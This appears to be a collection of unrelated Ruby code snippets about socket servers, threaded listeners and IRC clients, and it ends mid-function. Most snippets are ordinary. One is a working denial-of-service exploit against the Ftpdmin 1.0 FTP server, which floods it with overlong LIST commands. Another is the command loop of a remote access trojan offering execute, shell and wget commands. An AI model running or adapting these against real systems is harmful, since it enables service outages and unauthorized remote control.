#{nick}\"\r\n say \"NICK #{nick}\"\r\n\r\n until @socket.eof? do\r\n msg = @socket.gets\r\n msg = (msg.split(\" \")[1] == \"PRIVMSG\" ? PrivateMessage.new(msg) : Message.new(msg))\r\n\r\n if msg.type == \"PRIVMSG\"\r\n cache_message(msg)\r\n fire_triggers(msg)\r\n end\r\n\r\n #keep alive\r\n if msg.parts[0] == \"PING\"\r\n say \"PONG :pingis\"\r\n else\r\n case msg.parts[1]\r\n when \"001\"\r\n $log.info(\"Processing connection to server...\")\r\n when \"376\"\r\n $log.info(\"Connected to server, joining channel...\")\r\n join_chan(self.chan)\r\n when \"366\"\r\n @in_chan = true\r\n $log.info(\"Successfully joined ##{self.chan}\")\r\n else\r\n end\r\n end\r\n #output to terminal window whatever the server is giving our socket\r\n $log.info(\"#{msg.stringify}\")\r\n end\r\n end", "def enqueue_from_server\n @writter = Thread.new do \n while @online\n begin\n if @socket.eof?\n @socket.close\n puts \"Server is down, please press quit\"\n break\n end\n msg = @socket.gets.chop\n if msg =~ /Advice from channel/ \n @advices << msg\n else\n msg = \"=> #{msg}\"\n @response << msg\n end\n rescue => e\n puts \"Error writter Thread #{e}\"\n end\n end\n end\n end", "def run\n loop do\n Thread.start(server.accept) do |client|\n begin\n ServerThread.new(client,@job_queue).run\n rescue Exception => e\n STDERR.puts \"A server thread has encountered an exception:\"\n STDERR.puts \"--------------------------------\"\n STDERR.puts e.message\n STDERR.puts e.backtrace\n STDERR.puts \"--------------------------------\"\n end\n end\n end\n end", "def queue_server\n Thread.new do\n serv = CONFIG[\"use_unixsock\"] ? UNIXServer.new(CONFIG[\"sockpath\"]) : TCPServer.new(\"localhost\", (CONFIG[\"tcpport\"] || 10751))\n\n begin\n FileUtils.chmod(0666, CONFIG[\"sockpath\"]) if CONFIG[\"use_unixpath\"]\n while s = serv.accept\n id = SecureRandom.uuid\n begin\n json = s.read\n File.open(\"#{CONFIG[\"spooldir\"]}/queue/#{id}.json\", \"w\") do |f|\n f.write json\n end\n @queue.push id\n ensure\n s.close\n end\n end\n ensure\n serv.close\n File.delete CONFIG[\"sockpath\"] if CONFIG[\"use_unixsock\"]\n end\n end\n end", "def run\n while s = @socket.accept do\n Thread.new do\n begin\n input = s.gets.strip\n result = @backend.process(input)\n if result.ready?\n log \"OK: #{input}\"\n s.puts \"OK\"\n s.puts result.value\n elsif result.error\n log \"ERROR: #{input}: #{result.error}\"\n if result.error.respond_to?(:backtrace)\n result.error.backtrace.each do |line|\n log \"ERROR: #{line}\"\n end\n end\n s.puts \"ERROR\"\n s.puts result.error.to_s\n else\n log \"PENDING: #{input}\"\n s.puts \"PENDING\"\n end\n rescue Errno::EPIPE\n log \"pipe closed\"\n # client closed the socket early\n rescue => e\n puts e\n puts e.backtrace.join(\"\\n\")\n ensure\n s.close\n end\n end\n end\n rescue Errno::EBADF\n # socket got cleaned up, but we're done anyway\n end", "def runFileServer\n @@servlet = FileServlet.new(@@self_port)\n \n Thread.start {\n @@servlet.start() \n }\n \nend", "def listen\n @thread = Thread.new do\n while (true)\n header = @socket.read(1)\n length = @socket.read(4).unpack(\"I\")[0]\n data = @socket.read(length)\n\n case header\n when \"0\"\n puts \"chat message from #{@socket.peeraddr[3]}: #{data}\"\n end\n end\n end\n end", "def handle_client(socket)\n # ruby's GC seems to do weird things if we don't assign the thread to a local variable\n @threads << Thread.new do\n begin\n len = \"\"\n # we only read 10 bytes of the length. any request longer than this is invalid\n while len.length <= 10\n c = socket.read(1)\n break if c == ':' # found the terminal, len now has a length in it so read the payload\n len << c\n end\n \n # we should now either have a payload length to get\n payload = socket.read(len.to_i)\n if socket.read(1) == ','\n read_header(socket, payload)\n else\n @log.error(\"Malformed request, does not end with ','\")\n end\n rescue Object\n @log.error(\"Handling client\", $!)\n ensure\n # no matter what we have to put this thread on the bad list\n socket.close if not socket.closed?\n end\n end\n end", "def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@fileServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n sleep 5 \n client.close\n end\n end\n end", "def run\n loop do\n memcached = Memcached.new # each client has its oun cache storage\n new_client = @tcp_Server.accept # when a new client connects to the server\n client_handler_id = rand(999999).to_s\n client_handler = ClientHandler.new(id: client_handler_id, clientSocket: new_client, memcached: memcached)\n @@clients << client_handler\n\n Thread.start(client_handler) do |handler| # open a new thread for each accepted connection\n # Here we inform the client of the connections. It's human made, so can be removed if not needed\n puts \"New connection established! Now #{@@clients.length()} clients :>\"\n puts \"WAITING FOR REQUESTS\"\n handler.send(\"Server: Connection established with Client Handler ID: #{client_handler_id}\")\n handler.send(\"Server: You are the client ##{@@clients.length()}\")\n handler.send(\"Server: You may introduce commands now\")\n listen_requests(handler) # allow communication\n end\n end.join\n end", "def readfromsocket\n loop do\n if(@socket.eof?)\n break\n else\n begin\n queueingWithNotify(@socket.gets)\n rescue StandardError,SocketError,IOError\n break\n end\n end\n end\n \n @recvthread=nil\n self.close\n Thread.current.exit\n end", "def read\n # Buffer for holding the received data. With sockets there is no\n # guarantee that you will receive the full message in a single\n # call to recv(). Accordingly, you have to have a buffer that\n # holds the partial data which is appended to on every recv\n # until you have a full message.\n buffer = ''\n #reader = BufferedReader.new(InputStreamReader.new(socket.get_input_stream))\n loop do\n # receive at most 8192 bytes, which is a mostly arbitrary\n # value that should work well\n chunk = socket.get_chunk\n # a zero-length chunk means the connection was closed\n if chunk == nil || chunk == '' || chunk == -1\n puts \"Lost connection\"\n @socket.close\n close\n break\n end\n\n # we use a single \\x000 (i.e., null) as a messag eterminator,\n # so we look for one in the chunk. If there is one, then that\n # gives us a complete message and we can process it. If not,\n # we wait for more data on the socket.\n if chunk == 0\n begin\n msg = YAML.load(buffer)\n rescue ArgumentError\n msg = nil\n puts \"Bad YAML recieved by #{self.class}\"\n end\n handle_msg(msg) if msg\n buffer = ''\n else\n begin\n buffer << chunk\n rescue\n puts $!\n end\n end\n end\n\n # Called when the socket connection is lost.\n def close\n end\n\n # Returns the socket object to be used in other operations. Must\n # be implemented by modules that include Communicator.\n def socket\n throw Exception(\"socket must be implemented\")\n end\n\n # Handles a message that's been received. Must be implemented by\n # moduels that include Communicator.\n def handle_msg msg\n throw Exception(\"handle_msg must be implemented\")\n end\n end", "def start\n Thread.new do\n connect = false\n until connect do\n begin\n call do |server| \n @server = server\n Waves::Logger.info \"#{self.class.basename} started on #{host}:#{port}.\"\n end\n rescue RuntimeError => e\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end\n end", "def server_loop(server)\n loop do\n Thread.start(server.accept) do |client|\n _unused, remote_port, _unused, remote_ip = client.peeraddr\n @server.logging \"--> OPEN connection from #{remote_ip}:#{remote_port}\"\n client.puts @entrypoint_routine.call\n client.close\n @server.logging \"<-- CLOSE connection from #{remote_ip}:#{remote_port}\"\n end\n end\n end", "def run (queue)\n loop do\n @LOG.debug \"waiting on #{@port_num}\"\n Thread.start(@server.accept) do |client|\n addr = client.addr\n addr.shift # removes \"AF_INET\"\n @LOG.info(\"accept connection addr: #{addr.join(\":\")}\")\n peer_addr = client.peeraddr\n peer_addr.shift # removes \"AF_INET\"\n @LOG.debug(\"connected to peer: #{peer_addr.join(\":\")}\")\n while size = client.recv(4).unpack(\"l\")[0]\n @LOG.debug \"begin receiving data with size #{size}\"\n data = client.recv(size)\n unmarshaled_data = Marshal.load(data)\n @LOG.debug \"data received (#{unmarshaled_data})\"\n queue.push unmarshaled_data\n end\n @LOG.info \"connection #{peer_addr.join(\":\")} is closed by other side\" \n end \n end\n end", "def main\n #server=TCPServer::new('10.0.0.60',port)\n @server=TCPServer::new(@port)\n $logger.debug \"Running on Port #{@port}\"\n begin\n if defined?(Fcntl::FD_CLOEXEC)\n @server.fcntl(Fcntl::FD_CLOEXEC,1)\n end\n @server.listen(5)\n #@[email protected]_nonblock\n rescue Errno::EAGAIN, Errno::ECONNABORTED, Errno::EPROTO, Errno::EINTR\n IO.select([@server])\n retry\n end\n Analyzer.find(:all).each { |analyzer|\n # If on start if analyzer is in downstream mode and ingress then restart the processl\n if (analyzer.cmd_port.nil?) && ((analyzer.status == Analyzer::INGRESS) || (analyzer.status == Analyzer::DOWNSTREAM))\n port=get_port(analyzer.id)\n $logger.error \"We don't have a port number for #{analyzer.id}, assigning it #{port}\"\n analyzer.update_attributes({:cmd_port=>port})\n elsif (!analyzer.cmd_port.nil?) && ((analyzer.status == Analyzer::INGRESS) || (analyzer.status == Analyzer::DOWNSTREAM))\n @ports_analyzer[analyzer.cmd_port - @start_port]=analyzer.id\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n #analyzer.update_attributes({:status=>Analyzer::DISCONNECTED})\n }\n an_count=Analyzer.find(:all).size\n try_count=Array.new(an_count,0)\n while(1)\n Analyzer.find(:all).each { |analyzer|\n if (!analyzer.cmd_port.nil?)\n @ports_analyzer[analyzer.cmd_port - @start_port]=analyzer.id\n try_count[analyzer.id]=0 if try_count[analyzer.id].nil?\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n }\n time=Time.now()\n selected_socket_list=IO.select([@server],nil,nil,5)\n if (selected_socket_list.nil?)\n $logger.debug \"Nothing to send Do a heartbeat\"\n #logger.debugs @ports_analyzer.inspect()\n @ports_analyzer.each_index { |port_index|\n analyzer_id=@ports_analyzer[port_index]\n port=nil\n if !analyzer_id.nil?\n port=get_port(analyzer_id)\n end\n\n unless port.nil?\n try_count[analyzer_id] +=1\n request=Net::HTTP.new('localhost',port)\n $logger.debug \"Do a heartbeat on #{port}\"\n #tries=0\n flag=true\n begin\n #sleep 5\n #tries +=1\n $logger.debug \"TRY # #{try_count[analyzer_id]}\"\n\n response=request.get(\"/\")\n rescue Timeout::Error #Instrument not responding. Lets kill the process.\n flag=false\n anl=Analyzer.find(analyzer_id)\n if (!anl.nil?) && (!anl.pid.nil?) && (anl.pid != 0)\n Process.kill(\"TERM\", anl.pid)\n else\n SystemLog.log(\"Unable to start monitoring process for Analyzer: #{anl.name}\",nil,SystemLog::MESSAGE,analyzer_id)\n anl.update_attribute({:pid=>0})\n end\n rescue\n #sleep 5\n #$logger.debug \"Try again\"\n flag=false\n if (try_count[analyzer_id] > 5)\n try_count[analyzer_id]=0\n $logger.debug \"Restarting monitor for #{analyzer_id}\"\n SystemLog.log(\"(Re)Starting the monitor server #{Analyzer.find(analyzer_id).ip}\",nil,SystemLog::MESSAGE,analyzer_id)\n start_monitor(analyzer_id, port)\n end\n end\n if flag==true\n try_count[analyzer_id]=0\n end\n $logger.debug response.inspect()\n end\n diff=Time.now-time\n if diff < 5\n sleep (5-diff)\n end\n }\n else\n selected_socket=selected_socket_list[0].first()\n @sock=selected_socket.accept\n process()\n end\n end\n end", "def english()\n\ndef len(str)\n return str.length\nend\n\nsys = `ver`\nif sys=~/Windows/\nsystem(\"cls\")\nsystem(\"color 4f\")\nelse\nsystem(\"clear\")\nend\n\ndef usage()\nprint \"\"\"\n\n =======================================================\n =======================================================\n ==========Exploit Denial of Service Ftpdmin 1.0========\n ==========Autor C4SS!0 G0M3S===========================\n ==========E-mail [email protected]==================\n ==========Site www.exploit-br.org======================\n =======================================================\n =======================================================\n\n\"\"\"\nend\n\nif len(ARGV)!=2 \n usage()\n print \"\\t\\t[-]Usage: ruby #{$0} <Host> <Porta>\\n\"\n print \"\\t\\t[-]Exemple: ruby #{$0} 192.168.1.2 21\\n\"\n exit(0)\nend\nusage()\nbuf = \"./A\" * (150/3)\n\nhost = ARGV[0]\nporta = ARGV[1].to_i\nprint \"\\t\\t[+]Connecting to Server #{host}...\\n\\n\"\nsleep(1)\nbegin\ns = TCPSocket.new(host,porta)\nprint \"\\t\\t[+]Checking if server is vulnerable\\n\\n\"\nsleep(1)\nrescue\nprint \"\\t\\t[+]Error to Connect to Server\\n\"\nexit(0)\nend\nbanner = s.recv(2000)\ns.close\nunless banner =~/Minftpd/\n print \"\\t\\t[+]I'm Sorry, the Server is not Vulnerable:(\\n\"\n sleep(1)\n exit(0)\n end\n print \"\\t\\t[+]Server is Vulnerable:)\\n\\n\"\n sleep(1)\n print \"\\t\\t[+]Sending Exploit...\\n\\n\"\nsleep(1)\n\ni=0\nwhile i<20\nsock = TCPSocket.new(host,porta)\nsock.recv(2000)\nsock.puts \"USER anonymous\\r\\n\"\nsock.recv(2000)\nsock.puts \"PASS anonymous\\r\\n\"\nsock.recv(2000)\nsock.puts \"LIST #{buf}\\r\\n\"\nsock.close\ni+=1\nend\nprint \"\\t\\t[+]Submitted Exploit Success\\n\\n\"\nsleep(1)\nprint \"\\t\\t[+]Checking if the Exploit Works\\n\\n\"\nsleep(5)\n\nbegin\nso = TCPSocket.new(host,porta)\nso.send(\"2000\")\nprint \"\\t\\t[+]I'm Sorry, The Exploit Not Worked:(\\n\\n\"\nrescue\nprint \"\\t\\t[+]Congratulations, The exploit worked with Success:)\\n\\n\"\nend\n\nend", "def start\n # reset config\n @server_config = Message::ServerConfig.new\n @socket = (@opts.tcp_socket || TCPSocket).new(@host, @port)\n on_connected\n post PASS, @opts.pass if @opts.pass\n post NICK, @opts.nick\n post USER, @opts.user, \"0\", \"*\", @opts.real\n\n buffer = BufferedTokenizer.new(\"\\r\\n\")\n\n while data = @socket.readpartial(4096)\n buffer.extract(data).each do |line|\n l = \"#{line}\\r\\n\"\n begin\n @log.debug \"RECEIVE: #{l.chomp}\"\n m = Message.parse(l)\n next if on_message(m) === true\n name = \"on_#{(COMMANDS[m.command.upcase] || m.command).downcase}\"\n send(name, m) if respond_to?(name)\n rescue Exception => e\n warn e\n warn e.backtrace.join(\"\\r\\t\")\n raise\n rescue Message::InvalidMessage\n @log.error \"MessageParse: \" + l.inspect\n end\n end\n end\n rescue IOError\n ensure\n finish\n end", "def read_incoming_data\n begin\n line = @socket.gets\n rescue StandardError => boom\n @dead_socket = true\n report \"+++ERROR in read_incoming_data -> @socket.gets: #{boom.inspect}\"\n end\n\n # If we somehow got no data here, the socket is closed. Run away!!!\n if !line\n @dead_socket = true\n return\n end\n\n line.chomp!\n\n report \"+++INCOMING: #{line}\" if @loud\n\n # Only synchronize long enough to push our incoming string onto the\n # input buffer\n @input_buffer_mutex.synchronize do\n @input_buffer.push(line)\n end\n end", "def client_loop(conn)\n\n # Old failed crypto comms, will re-implement later\n #f = File.read('/tmp/rratkey.dat').split(\"\\n\")\n #@key = f[0]\n #puts \"Key: #{@key}\"\n #@iv = f[1]\n #puts \"IV: #{@iv}\"\n\n while true\n results = ''\n # Recieve and decrypt AES encrypted message\n #data = AES.decrypt(conn.read(64).gsub!(\"0\", ''), @key)\n data = conn.read(64).gsub!('0', '')\n puts data\n cmd, action = data.split ' ' # Split data into command and action\n\n # Parse the command\n case cmd\n when 'kill'\n conn.close\n exit 0\n when 'quit'\n conn.shutdown(:WRDR)\n conn.close\n break\n when 'scan'\n results = RubyRat::Tools.scan_single_host(action)\n when 'sysinfo'\n results = RubyRat::Tools.sysinfo\n when 'pwd'\n results = RubyRat::Tools.pwd\n when 'wget'\n results = RubyRat::Tools.wget(action)\n when 'getpid'\n results = \"Current process: #{RubyRat::Tools.pid}\"\n when 'ifconfig'\n results = RubyRat::Tools.ifconfig(@platform)\n when 'execute'\n results = RubyRat::Tools.execute(data.gsub('execute ', ''))\n when 'ls'\n results = RubyRat::Tools.ls\n when 'shell'\n RubyRat::Tools.shell(HOST, action)\n end\n\n # TODO add more stuff\n #end\n results << \"\\n#{cmd} completed.\"\n puts results if ARGV.include? 'DEBUG'\n conn.puts results.length\n conn.write(results)\n end\nend", "def start\n @memcache.purge_values unless @memcache.deletion_process\n @threads = loop do\n Thread.new(@server.accept) do |socket| # Multi-thread started so it can serve multiple clients\n request = nil\n loop do\n if request.nil?\n request = socket.gets\n if request.nil?\n socket.close\n Thread.exit\n else\n request = request.chomp # To avoid chomp a nil\n puts request\n end\n end\n array_validate = request.split(' ')\n headers_error = @utils.validate_headers(array_validate)\n if headers_error.nil? || headers_error == ''\n # If item is already expired, then is deleted before any process\n if [email protected][array_validate[1]].nil? && @memcache.cache[array_validate[1]].exptime.to_i.positive? &&\n (Time.new - @memcache.cache[array_validate[1]].time).to_i >= @memcache.cache[array_validate[1]].exptime.to_i\n @mutex.synchronize do # Synchronization of operations for mutual-exclusion and visibility\n @memcache.delete(array_validate[1])\n end\n end\n case array_validate[0].upcase\n when Utils::QUIT\n socket.close\n Thread.exit\n when Utils::DELETE\n @mutex.synchronize do # Synchronization of operations for mutual-exclusion and visibility\n socket.write(@memcache.delete(array_validate))\n end\n when Utils::SET, Utils::ADD, Utils::REPLACE, Utils::APPEND, Utils::PREPEND, Utils::CAS\n full_value = ''\n correct = nil\n first = true\n loop do\n value = socket.gets\n if first\n full_value = value\n first = false\n else\n full_value += \"\\n\" + value\n end\n correct = @utils.validate_value(array_validate[4],full_value)\n break unless correct.nil?\n end\n @mutex.synchronize do # Synchronization of operations for mutual-exclusion and visibility\n # Separated method depending on\n if correct && (array_validate[0].upcase == Utils::APPEND || array_validate[0].upcase == Utils::PREPEND)\n socket.write(@memcache.concat(array_validate, full_value))\n elsif correct && array_validate[0].upcase == Utils::CAS\n socket.write(@memcache.cas(array_validate, full_value))\n elsif correct\n socket.write(@memcache.save(array_validate, full_value))\n else\n socket.write(Utils::CHUNK_ERR)\n end\n end\n when Utils::GET, Utils::GETS\n socket.write(@memcache.get(array_validate))\n socket.write(Utils::END_MSG)\n when Utils::INCR, Utils::DECR\n @mutex.synchronize do # Synchronization of operations for mutual-exclusion and visibility\n socket.write(@memcache.incr_decr(array_validate))\n end \n when Utils::FLUSH_ALL\n @mutex.synchronize do # Synchronization of operations for mutual-exclusion and visibility\n socket.write(@memcache.flush_all(array_validate))\n end\n else\n socket.write(Utils::BASIC_ERR)\n end\n else\n socket.write(headers_error)\n end\n request = nil\n @threads.each(&:join)\n end\n end\n end\n end", "def run\n @stats[:start_time] = Time.now\n\n BasicSocket.do_not_reverse_lookup = true\n\n @acceptor = Thread.new do\n loop do\n begin\n accept_connection\n rescue StopServer\n @socket.close rescue Object\n break\n rescue Errno::EMFILE\n cull_workers(\"Too many open files or sockets\")\n sleep @timeout / 100\n rescue Errno::ECONNABORTED\n begin\n client.close\n rescue Object => e\n logger.warn \"Got exception closing socket (client aborted connection) #{e}\"\n end\n rescue Object => e\n logger.fatal \"Unhandled exception: #{e}. TELL BLAINE HE'S A MORON.\"\n logger.debug e.backtrace.join(\"\\n\")\n end\n end\n\n graceful_shutdown\n end\n\n return @acceptor\n end", "def run\n trap_signals\n loop do\n break if signals_want_shutdown\n begin\n # IO.select returns either a triplet of lists with IO objects that\n # need attention or nil on timeout of 2 seconds.\n if needy = IO.select([server.socket, lifeline], nil, [server.socket, lifeline], 2)\n server.log.debug(\"Detected activity on: #{needy.inspect}\")\n # If the lifeline is active the server went down and we need to go\n # down as well.\n break if needy.flatten.any? { |io| !io.respond_to?(:accept_nonblock) }\n # Otherwise we handle incoming requests\n needy.flatten.each do |io|\n if io.respond_to?(:accept_nonblock)\n begin\n process_incoming_socket(*io.accept_nonblock)\n rescue Errno::EAGAIN, Errno::ECONNABORTED\n end\n end\n end\n end\n rescue EOFError, Errno::EAGAIN, Errno::EINTR, Errno::EBADF, IOError\n end\n end\n cleanup\n end", "def sendThread (cmdSock, sock, fName)\n\tpath = File.expand_path(\"..\", Dir.pwd) + \"/testFiles/\" + fName\n\tbegin\n\t\tFile.open(fName, \"rb\") do |file|\n\t\t\tcmdSock.puts(file.size)\n\t\t\twhile data = file.gets do\n\t\t\t\tsock.puts(data)\n\t\t\tend\n\t\tend\n\t\tputs \"Done sending file!\"\n\trescue SystemCallError\n\t\traise StandardError\n\t\tputs \"Unable to open file\"\n\t\t#notify client of invalid file name\n\t\tsock.puts(\"0\")\n\t\tsock.puts(\"Error opening file, make sure the\"\\\n\t\t\t\" file you're trying to open exists (LIST command)\")\n\tend\nend", "def listen\n @messages.clear\n # stop if socket is not ready\n begin\n return if !self.ready?\n # get 0xFFFF bytes from a received message\n buffer = self.recv(0xFFFF)\n # split by \\n without suppressing trailing empty strings\n buffer = buffer.split(\"\\n\", -1)\n # if chunk from previous incomplete message exists\n if @previous_chunk != nil\n # complete chunk with first new message\n buffer[0] = @previous_chunk + buffer[0]\n # delete chunk buffer\n @previous_chunk = nil\n end\n # remove last message in buffer\n last_chunk = buffer.pop\n # incomplete message if it exists (meaning last message has no \\n)\n @previous_chunk = last_chunk if last_chunk != ''\n # check each message in the buffer\n buffer.each {|message|\n interpret_message(message)\n }\n rescue\n msgbox_p \"Server closed!\"\n self.close\n $close_socket = true\n end\n \n end", "def run\n\t\t# Empezamos a escuchar al servidor\n\t\tlisten\n\t\t# Empezamos a enviar al servidor\n\t\tsend\n\t\t# Revisamos el estado de la conexion\n\t\t# check_alvie\n\t\t# Al terminar cerramos los Threads\n\t\[email protected] if @request.alive?\n\t\[email protected] if @response.alive?\n\tend", "def recv_file(size,scene=false,file=\"\")\r\n data = []\r\n size.times do |i|\r\n if scene == true\r\n $scene.recv_update(size,i,file) if i%((size/1000)+1)== 0\r\n else\r\n Graphics.update if i%1024 == 0\r\n end\r\n data << recv(1)\r\n end\r\n return data\r\n end", "def run\n @active_connections = 0\n @mutex = Mutex.new\n\n logger.info \"Starting server on #{server_configuration.bind}\"\n\n establish_socket_server\n write_pidfile\n setup_signal_traps\n select_loop\n end", "def start\n loop do\n begin\n socket = tcp_server.accept\n\n handle_request(socket)\n ensure\n socket.close\n end\n end\n end", "def start\n loop do\n now = Time.now\n msg = \"%02d:%02d:%02d\" % [now.hour, now.min, now.sec]\n @mutex.synchronize {\n\[email protected] { |c|\n # If the connection is closed while writing this could occur. Just\n # the nature of async systems.\n puts \"--- write failed\" unless c.write(msg)\n\t}\n }\n sleep(1)\n end\n end", "def open_socket\n loop {\n listen_for_client\n\n # read first input line only\n request = @client.gets\n\n resp = process_client_request(request)\n headers = generate_headers(resp)\n\n @client.puts headers\n @client.puts resp\n\n @client.puts \"Disconnecting client...\"\n @client.close # close connection to client\n }\n end", "def run_gets(conn)\n return if not @need_gets\n @log.debug \"run_gets starts\"\n received_count = 0\n conn.get_data_received do |msg|\n received_count += 1\n @log.debug(\"-\" * 20)\n @log.debug \"Message Number #{received_count}:\"\n #\n @log.debug(\"Type: #{msg.class}\")\n @log.debug(\"Command: #{msg.command}\")\n @log.debug(\"Header Information:\")\n msg.header.each {|k,v|\n @log.debug(\"#{k}=#{v}\")\n }\n @log.debug(\"Body:\")\n @log.debug(\"#{msg.body}\")\n end\n @log.debug \"run_gets done\"\n if received_count > 0\n #\n # We are done!\n #\n conn.disconnect()\n EventMachine::stop_event_loop() \n end\n # Otherwise, wait for message arrival.\nend", "def server(port = 9319)\r\n puts \"- Starting server on port: #{port}\"\r\n\r\n $servers[port] = WEBrick::HTTPServer.new(:Port => port) if $servers[port].nil?\r\n server = $servers[port]\r\n $mounts.keys.each{|url|\r\n server.unmount(url)\r\n server.mount(url, $mounts[url][0], *$mounts[url][1])\r\n }\r\n $mounts.clear\r\n\r\n Thread.new { server.start unless server.status == :Running }\r\nend", "def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@fileServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n puts 'Thread pool full wait 5'\n sleep 5 \n client.close\n end\n end\n end", "def server(port = 9319)\r\n puts \"- Starting server on port: #{port}\"\r\n\r\n begin\r\n $servers[port].shutdown if $servers.has_key?(port)\r\n rescue => e\r\n puts \"- Server on #{port} failed to shutdown with message: #{e}\"\r\n end\r\n\r\n #TODO: this is where we sometimes get Address already in use - bind - Address already in use: bind\r\n #possibly we need to wait/confirm the server shutdown or maybe retry?\r\n\r\n $servers[port] = WEBrick::HTTPServer.new(:Port => port)\r\n server = $servers[port]\r\n $mounts.keys.each{|url|\r\n server.mount(url, $mounts[url][0], *$mounts[url][1])\r\n }\r\n $mounts.clear\r\n\r\n Thread.new {\r\n begin\r\n sleep 1\r\n server.start\r\n rescue Exception => e\r\n puts \"- Exception starting server on #{port} - #{e}\"\r\n end\r\n }\r\nend", "def listenLoop()\n x = Thread.new{\n i = 0\n while true\n i = i + 1\n puts \" \"\n print @name, \" Listen Loop Round: \", i\n puts \" \"\n jsonIN = @s.recv(65536)\n puts \" \"\n print @name, \" \", Time.now, \" has receaved a Message: \", jsonIN\n puts \" \"\n parsed = JSON.parse(jsonIN)\n if @netWorkMember\n self.respond( parsed )\n else\n puts \"Not a member of a Network hence I will not respond\"\n end\n end\n }\n end", "def start\n @quit = nil\n @socket = self.connect()\n self.on_message(/^PING/) { |event|\n self.send_raw_line(\"PING \"+event[:matchdata].post_match)\n }\n self.on_server_message(353) { |event|\n }\n self.on_server_message(376) do |event|\n if @password and !@authenticated then\n self.message 'NickServ', \"IDENTIFY #{@password}\"\n @authenticated = true\n end\n @channels.each { |channel|\n if channel.kind_of? Hash then\n self.send_raw_line(\"JOIN \"+channel.keys.first+\" \"+channel.values.first)\n else\n self.send_raw_line(\"JOIN \"+channel)\n end\n }\n end\n \n self.send_raw_line(\"USER \"+@nickname+\" \"+@nickname+\" \"+@nickname+\" \"+@nickname)\n self.send_raw_line(\"NICK \"+@nickname)\n begin\n while line = @socket.gets\n handle_raw_line(line) \n end\n rescue IOError => ioe\n raise ioe unless @quit\n end\n end", "def run\n while true; async.handle_message @socket.read; end\n end", "def listen\n Thread.new do\n while (true)\n socket = @server.accept\n puts \"connection from #{socket.peeraddr[2]} port #{socket.peeraddr[1]}\"\n @connections.add(socket.peeraddr[2], socket.peeraddr[1], socket)\n end\n end\n end", "def receive_data data\n\n # First we get all the headers in to find out which resource\n # we are looking for.\n\n if @status == :header\n @buffer += data\n\n if @buffer =~ /\\r\\n\\r\\n/\n\n # Detected end of headers\n header_data = @buffer[0...($~.begin(0))]\n\n @web_config = WEBrick::Config::HTTP.clone\n @web_config[:HTTPVersion] = WEBrick::HTTPVersion.new(\"1.0\")\n\n # Try the webrick parser\n @req = WEBrick::HTTPRequest.new(@web_config)\n @res = WEBrick::HTTPResponse.new(@web_config)\n\n StringIO.open(header_data, 'rb') do |socket|\n @req.parse(socket)\n end\n\n # The rest of the incoming connection\n @buffer = @buffer[($~.end(0))..-1]\n\n # Compute the ID of the sought resource\n if @req.path =~ /\\/adhd\\/(.*)/\n @req.header[\"Filename\"] = $1\n @req.header[\"ID\"] = MD5.new($1).to_s\n else\n # TODO: return a 404 here\n send_error 404, \"Not Found\", \"The URL does not seem to contain /adhd/filename\"\n # raise \"Remember to have a url of the form /adhd/<filenname>.\"\n end\n\n # Change the status once headers are found\n @status = :find_node\n else\n # Avoid DoS via buffer filling\n close_connection if @buffer.length > 1000\n end\n end\n\n # Now we have the headers, but maybe not the full body, and we are looking\n # for the right node in our network to handle the call.\n if @status == :find_node\n # We want to tell the remote host to wait a bit\n # This would allow us to defer the execution of the calls to find\n # the right nodes, and extract the doc.\n\n # TODO: We need to push all the chit-chat with the remote servers to\n # A deferable object, or some other connection, not to block.\n # Right now we are blocking and it sucks.\n\n # Now get or write the document associated with this file\n\n if @req.request_method == \"GET\"\n\n @our_doc = @node_manager.srdb.get_doc_directly(@req.header[\"ID\"])\n\n # TODO: handle errors if file does not exist\n if @our_doc[:ok]\n @status == :get\n handle_get\n else\n send_error 500, \"Internal Server Error\", @our_doc[:reason]\n end\n end\n\n if @req.request_method == \"PUT\"\n # Define a Doc with the data so far\n @our_doc = StoredFile.new\n\n @our_doc._id = @req.header[\"ID\"]\n @our_doc.internal_id = @req.header[\"ID\"]\n @our_doc.size_bytes = @req.content_length\n @our_doc.filename = @req.header[\"Filename\"]\n @our_doc.mime_type = @req.content_type\n\n # Write to the right node\n @our_doc = @node_manager.srdb.write_doc_directly(@our_doc)\n\n # TODO: if an error is returned here, we cannot execute the query\n if @our_doc[:ok]\n @status = :put\n handle_put\n else\n send_error 410, \"Conflict\", @our_doc[:reason]\n end\n end\n end\n end", "def main\n STDERR.reopen File.join(File.dirname(__FILE__), \"../../log/master.err\"+($is_debug ? \".dug\" :\"\"))\n #server=TCPServer::new('10.0.0.60',port)\n @server=TCPServer::new(@port)\n $logger.debug \"Running on Port #{@port}\"\n begin\n if defined?(Fcntl::FD_CLOEXEC)\n @server.fcntl(Fcntl::FD_CLOEXEC, 1)\n end\n @server.listen(5)\n #@[email protected]_nonblock\n rescue Errno::EAGAIN, Errno::ECONNABORTED, Errno::EPROTO, Errno::EINTR\n IO.select([@server])\n retry\n end\n\n get_local_analyzers.each { |analyzer|\n # If on start if analyzer is in downstream mode and ingress then restart the processl\n if (analyzer.cmd_port.nil?) && ((analyzer.status == Analyzers::INGRESS) || (analyzer.status == Analyzers::DOWNSTREAM))\n port=get_port(analyzer.id)\n $logger.error \"We don't have a port number for #{analyzer.id}, assigning it #{port}\"\n elsif (!analyzer.cmd_port.nil?) && ((analyzer.status == Analyzers::INGRESS) || (analyzer.status == Analyzers::DOWNSTREAM))\n @ports_analyzer[analyzer.cmd_port - @start_port + 1]=analyzer.id\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n begin\n `touch /tmp/keepalive_#{analyzer.id}.out`\n rescue Exception => e\n $logger.debug \"raised a error,when touch KeepAlive file.\"\n $logger.debug e.class\n $logger.debug e.message\n end\n #analyzer.update_attributes({:status=>Analyzer::DISCONNECTED})\n }\n\n an_count=get_local_analyzers.size\n try_count=Array.new(an_count, 0)\n retrys= case an_count/5\n when 0 then\n 5\n when 1 then\n 3\n else\n 2\n end\n while (1)\n get_local_analyzers.each { |analyzer|\n if (!analyzer.cmd_port.nil?)\n 